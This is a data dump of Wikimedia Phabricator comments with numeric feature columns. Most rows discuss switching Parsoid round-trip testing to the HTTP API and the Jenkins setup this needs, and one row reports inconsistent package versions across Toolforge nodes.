https://gerrit.wikimedia.org/r/102011",,,1387495057,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-80,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,29.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,0.9166666666666666,"Change 102011 merged by jenkins-bot:
Bug 56590: Use the Parsoid HTTP API in round-trip testing

GERRIT_URL"
278503,Use the HTTP API in round-trip testing,"Change 99348 abandoned by GWicke:
Bug 56590: Use the Parsoid HTTP API in round-trip testing

Reason:
Moved to https://gerrit.wikimedia.org/r/#/c/102011/

https://gerrit.wikimedia.org/r/99348",,,1387319737,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-81,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,38.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.793103448275862,0.8620689655172413,"Change 99348 abandoned by GWicke:
Bug 56590: Use the Parsoid HTTP API in round-trip testing

Reason:
Moved to URL

GERRIT_URL"
278500,Use the HTTP API in round-trip testing,"Change 102011 had a related patch set uploaded by GWicke:
Bug 56590: Use the Parsoid HTTP API in round-trip testing

https://gerrit.wikimedia.org/r/102011",,,1387232407,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-81,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,30.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.037037037037037,0.9629629629629629,"Change 102011 had a related patch set uploaded by GWicke:
Bug 56590: Use the Parsoid HTTP API in round-trip testing

GERRIT_URL"
278495,Use the HTTP API in round-trip testing,"So far, we've been doing some basic integration testing on a single page (en:Barack_Obama) in a Jenkins job after each commit. While we could fully mock up all API accesses, for large pages like en:Barack_Obama, this would require us to effectively do a capture and replay of all API accesses for those pages (since it is not just wikitext, but also templates, extensions, images, etc. -- some 100s to 1000s of API calls).

Scott does have some basic code for capturing these accesses and dumping them to a file and using that to do a replay (without relying on internet). But, that seems like extra complexity instead of relying on internet access if we really want to do full-page integration testing on a set of N (for small values of N, say 5) pages after each commit.

So, I think the real question is whether we should be doing full page testing in a Jenkins/CI job after each commit or not. If yes, it seems simpler to rely on HTTP.

All that said, we do have a mock MW API server for testing PHP extensions (bug 45440). See parsoid/js/tests/mockAPI.js. Currently, we use this for running parserTests only.",,,1386264518,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-82,True,3.0,0.0,0.3333333333333333,0.0,0.6666666666666666,4.333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,3.0,0.0,5.0,13.0,0.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,4.666666666666667,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.333333333333334,1.0,1.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,3.3333333333333335,1.3333333333333333,9.0,1.6666666666666667,2.0,8.333333333333334,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,1.0,0.0,4.0,13.0,5.333333333333333,0.0,0.0,0.0,4.0,0.0,0.3333333333333333,2.6666666666666665,0.6666666666666666,3.3333333333333335,0.3333333333333333,0.0,0.6666666666666666,3.7086884121853263,0.7622196101479087,"So far, we've been doing some basic integration testing on a single page (en:Barack_Obama) in a Jenkins job after each commit. While we could fully mock up all API accesses, for large pages like en:Barack_Obama, this would require us to effectively do a capture and replay of all API accesses for those pages (since it is not just wikitext, but also templates, extensions, images, etc. -- some 100s to 1000s of API calls).

Scott does have some basic code for capturing these accesses and dumping them to a file and using that to do a replay (without relying on internet). But, that seems like extra complexity instead of relying on internet access if we really want to do full-page integration testing on a set of N (for small values of N, say 5) pages after each commit.

So, I think the real question is whether we should be doing full page testing in a Jenkins/CI job after each commit or not. If yes, it seems simpler to rely on HTTP.

All that said, we do have a mock MW API server for testing PHP extensions (bug 45440). See parsoid/js/tests/mockAPI.js. Currently, we use this for running parserTests only."
278488,Use the HTTP API in round-trip testing,"(In reply to comment #12)
<snip>
> Thanks for the info, Antoine. Even though we'll be running an independent
> Parsoid API server when running roundtrip-test.js, that will need internet
> access to fetch wikitext from the MediaWiki API. I'll open that bug when the
> code is ready.

Shouldn't you mock the API access?  I mean Parsoid could be injected fixtures with known articles content and use those flat files instead of relying on the remote wiki.   That would save the internet HTTP get and make sure you are testing known value.

Of course, I don't think Parsoid support that kind of injection (yet?).",,,1386253627,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,True,,,-82,True,0.0,0.0,0.0,1.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,8.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,6.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,16.0,0.0,2.0,7.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,4.0,8.0,8.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,3.611111111111111,0.7555555555555555,"(In reply to comment #12)
<snip>
QUOTE
QUOTE
QUOTE
QUOTE

Shouldn't you mock the API access?  I mean Parsoid could be injected fixtures with known articles content and use those flat files instead of relying on the remote wiki.   That would save the internet HTTP get and make sure you are testing known value.

Of course, I don't think Parsoid support that kind of injection (yet?)."
278483,Use the HTTP API in round-trip testing,"Change 99348 had a related patch set uploaded by Marcoil:
Bug 56590: Use the Parsoid HTTP API in round-trip testing

https://gerrit.wikimedia.org/r/99348",,,1386239395,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,30.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.037037037037037,0.9629629629629629,"Change 99348 had a related patch set uploaded by Marcoil:
Bug 56590: Use the Parsoid HTTP API in round-trip testing

GERRIT_URL"
278478,Use the HTTP API in round-trip testing,"(In reply to comment #11)
> (snip)
> That build has been run on lanthanum.eqiad.wmnet which does not have direct
> access to internet.  We can tie the job to a Jenkins slave that has internet
> access though. 11pm right now so I will forget about it, but a bug against
> Wikimedia > Continuous integration would make sure it get solved.

Thanks for the info, Antoine. Even though we'll be running an independent Parsoid API server when running roundtrip-test.js, that will need internet access to fetch wikitext from the MediaWiki API. I'll open that bug when the code is ready.",,,1385546629,,PHID-USER-56wtmb23orq4pu5liyj5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,18.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,3.0,22.0,5.0,0.0,8.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,3.0,9.0,12.0,0.0,0.0,0.0,3.0,0.0,5.0,2.0,0.0,3.0,0.0,0.0,0.0,3.923076923076923,0.7076923076923077,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thanks for the info, Antoine. Even though we'll be running an independent Parsoid API server when running roundtrip-test.js, that will need internet access to fetch wikitext from the MediaWiki API. I'll open that bug when the code is ready."
278472,Use the HTTP API in round-trip testing,"(In reply to comment #9)
<snip>
> - It doesn't pass Jenkins, see
> https://integration.wikimedia.org/ci/job/parsoid-roundtrip-test-check/1789/
> console
> It seems that the roundtrip-test.js script can't connect to the parsoid HTTP
> API from the jenkins machine. We'll need to get a parsoid instance running on
> the jenkins test machine, using a random port.

That build has been run on lanthanum.eqiad.wmnet which does not have direct access to internet.  We can tie the job to a Jenkins slave that has internet access though. 11pm right now so I will forget about it, but a bug against Wikimedia > Continuous integration would make sure it get solved.",,,1385505218,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,True,,,-84,True,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,4.0,1.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,1.0,16.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,7.0,0.0,2.0,0.0,5.0,8.0,8.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,3.6987951807228914,0.7469879518072289,"(In reply to comment #9)
<snip>
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That build has been run on lanthanum.eqiad.wmnet which does not have direct access to internet.  We can tie the job to a Jenkins slave that has internet access though. 11pm right now so I will forget about it, but a bug against Wikimedia > Continuous integration would make sure it get solved."
278464,Use the HTTP API in round-trip testing,"Change 97733 abandoned by Marcoil:
Bug 56590: Use the HTTP API in round-trip testing

Reason:
This needs more work to work anywhere besides my local setup, a new patch will come soon.

https://gerrit.wikimedia.org/r/97733",,,1385495640,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,2.0,9.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.7954545454545454,0.8863636363636364,"Change 97733 abandoned by Marcoil:
Bug 56590: Use the HTTP API in round-trip testing

Reason:
This needs more work to work anywhere besides my local setup, a new patch will come soon.

GERRIT_URL"
278455,Use the HTTP API in round-trip testing,"Problems when testing this patch:

- When testing with a local Parsoid instance, it compares the two wikitext versions and gives a correct number of syntactic and semantic diffs, although the number is sometimes different to the one given by direct (no HTTP API) testing. Most of the times the differences are due to a final '\n' difference when testing through HTTP. Could be due to different selser and editMode settings?

- When testing from my local machine, but using httpL//parsoid.wmflabs.org/ as the HTTP API URL, html2wt always gives out the same wikitext as was gotten with TemplateRequest::one, which results in 0 diffs. Caching?

- node roundtrip-test.js --parsoidURL http://parsoid.wmflabs.org/ --prefix enwiki Barack_Obama
gives this error:
ERROR: Error: request entity too large
    at IncomingMessage.onData (/data/project/parsoid/js/node_modules/express/node_modules/connect/node_modules/raw-body/index.js:40:17)
    at IncomingMessage.EventEmitter.emit (events.js:88:17)
    at IncomingMessage._emitData (http.js:359:10)
    at HTTPParser.parserOnBody [as onBody] (http.js:123:21)
    at Socket.socket.ondata (http.js:1682:22)
    at TCP.onread (net.js:404:27)

- It doesn't pass Jenkins, see https://integration.wikimedia.org/ci/job/parsoid-roundtrip-test-check/1789/console
It seems that the roundtrip-test.js script can't connect to the parsoid HTTP API from the jenkins machine. We'll need to get a parsoid instance running on the jenkins test machine, using a random port.",,,1385488129,,PHID-USER-56wtmb23orq4pu5liyj5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,7.0,1.0,0.0,0.3333333333333333,0.0,1.3333333333333333,2.0,0.0,0.0,0.0,0.6666666666666666,0.0,3.0,9.666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,3.3333333333333335,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,14.333333333333334,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,5.666666666666667,1.3333333333333333,11.0,2.0,1.3333333333333333,7.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,1.6666666666666667,0.0,2.0,9.666666666666666,9.666666666666666,0.6666666666666666,0.6666666666666666,0.0,2.0,0.0,1.6666666666666667,1.6666666666666667,0.0,2.6666666666666665,0.0,0.3333333333333333,0.3333333333333333,4.783219334245326,0.7031463748290013,"Problems when testing this patch:

- When testing with a local Parsoid instance, it compares the two wikitext versions and gives a correct number of syntactic and semantic diffs, although the number is sometimes different to the one given by direct (no HTTP API) testing. Most of the times the differences are due to a final '\n' difference when testing through HTTP. Could be due to different selser and editMode settings?

- When testing from my local machine, but using httpL//parsoid.wmflabs.org/ as the HTTP API URL, html2wt always gives out the same wikitext as was gotten with TemplateRequest::one, which results in 0 diffs. Caching?

- node roundtrip-test.js --parsoidURL URL --prefix enwiki Barack_Obama
gives this error:
ERROR: Error: request entity too large
    at IncomingMessage.onData (/data/project/parsoid/js/node_modules/express/node_modules/connect/node_modules/raw-body/index.js:40:17)
    at IncomingMessage.EventEmitter.emit (events.js:88:17)
    at IncomingMessage._emitData (http.js:359:10)
    at HTTPParser.parserOnBody [as onBody] (http.js:123:21)
    at Socket.socket.ondata (http.js:1682:22)
    at TCP.onread (net.js:404:27)

- It doesn't pass Jenkins, see URL
It seems that the roundtrip-test.js script can't connect to the parsoid HTTP API from the jenkins machine. We'll need to get a parsoid instance running on the jenkins test machine, using a random port."
278446,Use the HTTP API in round-trip testing,"Change 97733 had a related patch set uploaded by Marcoil:
Bug 56590: Use the HTTP API in round-trip testing

https://gerrit.wikimedia.org/r/97733",,,1385484634,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,27.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.923076923076923,0.9615384615384616,"Change 97733 had a related patch set uploaded by Marcoil:
Bug 56590: Use the HTTP API in round-trip testing

GERRIT_URL"
278438,Use the HTTP API in round-trip testing,"Divided into two tasks:
* This bug will track changing the round-trip test client to use the HTTP API so that they test a more similar code to the actual one used by clients.
* Bug #56730 tracks the (future) development of unit tests of Parsoid's HTTP API.",,,1383850210,,PHID-USER-56wtmb23orq4pu5liyj5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-86,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,14.0,3.0,0.0,10.0,0.0,0.0,0.0,2.0,3.0,0.0,5.0,0.0,2.0,14.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.5762711864406778,0.8135593220338984,"Divided into two tasks:
* This bug will track changing the round-trip test client to use the HTTP API so that they test a more similar code to the actual one used by clients.
* Bug #56730 tracks the (future) development of unit tests of Parsoid's HTTP API."
278431,Use the HTTP API in round-trip testing,"(In reply to comment #5)
> What is the HTTP endpoint for this API?  The explicit URI(s)?  

https://www.mediawiki.org/wiki/Parsoid#The_Parsoid_web_API",,,1383672928,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,True,,,-87,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5833333333333335,1.0,"(In reply to comment #5)
QUOTE

URL"
278425,Use the HTTP API in round-trip testing,"
What is the HTTP endpoint for this API?  The explicit URI(s)?  

Also, I submitted a browser test for a utf8 string, I'll refine this a bit more today.  https://gerrit.wikimedia.org/r/#/c/93597/",,,1383660675,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-87,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,22.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,8.0,5.0,0.0,0.0,5.0,0.0,2.0,8.0,0.0,0.0,2.0,0.0,0.0,3.225,0.8,"
What is the HTTP endpoint for this API?  The explicit URI(s)?  

Also, I submitted a browser test for a utf8 string, I'll refine this a bit more today.  URL"
278421,Use the HTTP API in round-trip testing,"(In reply to comment #2)
> I would very much like to create these tests, as long as beta labs and
> test2wiki would be targets.

As a first step we are considering tests that exercise the HTTP API in a way similar to the way VE does (including selser mode)

* on each commit, on a selection of pages
* in mass round-trip testing on a variety of content (see also bug 56601)

In addition it would be great to test the full Parsoid + Varnish setup as it is in production to catch caching issues. This sounds like a good fit for betalabs.

For this, we could use

* the HTTP client we'll get out of moving our rt testing to use the API, and 
* browser testing using the VE to test the full stack from browser through VE extension to the Parsoid cluster.",,,1383627362,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,True,,,-87,True,0.5,0.0,0.0,0.0,0.0,5.5,1.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,0.0,2.5,0.5,0.5,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.5,3.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.5,0.0,16.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,7.5,1.5,10.0,0.0,1.5,9.5,0.0,0.0,0.0,0.5,6.0,0.0,1.0,0.0,3.5,15.0,5.0,0.0,0.0,0.0,3.5,0.0,0.5,2.5,0.0,2.5,0.5,0.0,0.0,3.5305023923444976,0.7188995215311005,"(In reply to comment #2)
QUOTE
QUOTE

As a first step we are considering tests that exercise the HTTP API in a way similar to the way VE does (including selser mode)

* on each commit, on a selection of pages
* in mass round-trip testing on a variety of content (see also bug 56601)

In addition it would be great to test the full Parsoid + Varnish setup as it is in production to catch caching issues. This sounds like a good fit for betalabs.

For this, we could use

* the HTTP client we'll get out of moving our rt testing to use the API, and 
* browser testing using the VE to test the full stack from browser through VE extension to the Parsoid cluster."
278416,Use the HTTP API in round-trip testing,"If there is anything I can do in Jenkins, let me know.",,,1383606517,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,True,,,-87,True,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,14.0,14.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0714285714285716,1.0,"If there is anything I can do in Jenkins, let me know."
278411,Use the HTTP API in round-trip testing,"I would very much like to create these tests, as long as beta labs and test2wiki would be targets.",,,1383605498,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,False,,,-87,True,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,10.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8095238095238093,0.9047619047619048,"I would very much like to create these tests, as long as beta labs and test2wiki would be targets."
278406,Use the HTTP API in round-trip testing,"Additionally, we should consider converting our round-trip tests to use the web API as well.",,,1383604718,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c3,1,True,,,-87,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,5.0,16.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.105263157894737,1.0,"Additionally, we should consider converting our round-trip tests to use the web API as well."
58326,tools-login has different repository than other nodes,"Right now tools-login provide doxygen 1.8 but other nodes only doxygen 1.7

this is not the only inconsistency other packages may have different version as well, it seems that old nodes like tools-exec-01 are using different repository.

This should be somehow resolved, for example we need doxygen 1.8 but on exec nodes we have only 1.7, and what is ever worse I am afraid that some exec nodes provide 1.7 while others provide 1.8

if that is true for other packages too, this may have critical impact for certain jobs which expect same version to exist on all execution nodes

--------------------------
**Version**: unspecified
